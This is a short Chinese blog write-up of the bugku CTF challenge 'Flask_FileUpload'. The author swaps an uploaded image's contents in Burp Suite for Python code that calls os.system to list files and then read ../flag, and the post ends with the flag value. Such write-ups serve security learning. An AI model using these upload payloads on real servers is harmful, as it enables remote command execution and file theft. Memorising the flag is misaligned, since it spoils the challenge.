bugku CTF练习：Flask_FileUpload思路_bugctf flask_fileupload

作者：菜鸟追梦旅行 | 2024-04-08 06:33:06

踩

bugctf flask_fileupload

打开页面是这个样子。右键查看源代码。

它提示我说会用Python去执行。太棒了。

选择一张普通图片。点击上传。把流量转到burpsuite上。

把burpsuite上抓到的包发送到重发模块

把图片的内容删除。改成

import os
print(os.system('ls -al'))

发现执行了Python，想了一下。应该是Python执行系统命令。

一步一步。发现上一级目录上有一个flag的文件。

执行下面的代码：

import os
print(os.system('cat ../flag'))

就得到了flag

flag{5f40e0bdb1089bf9dcb06a384c2b2008}

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/383590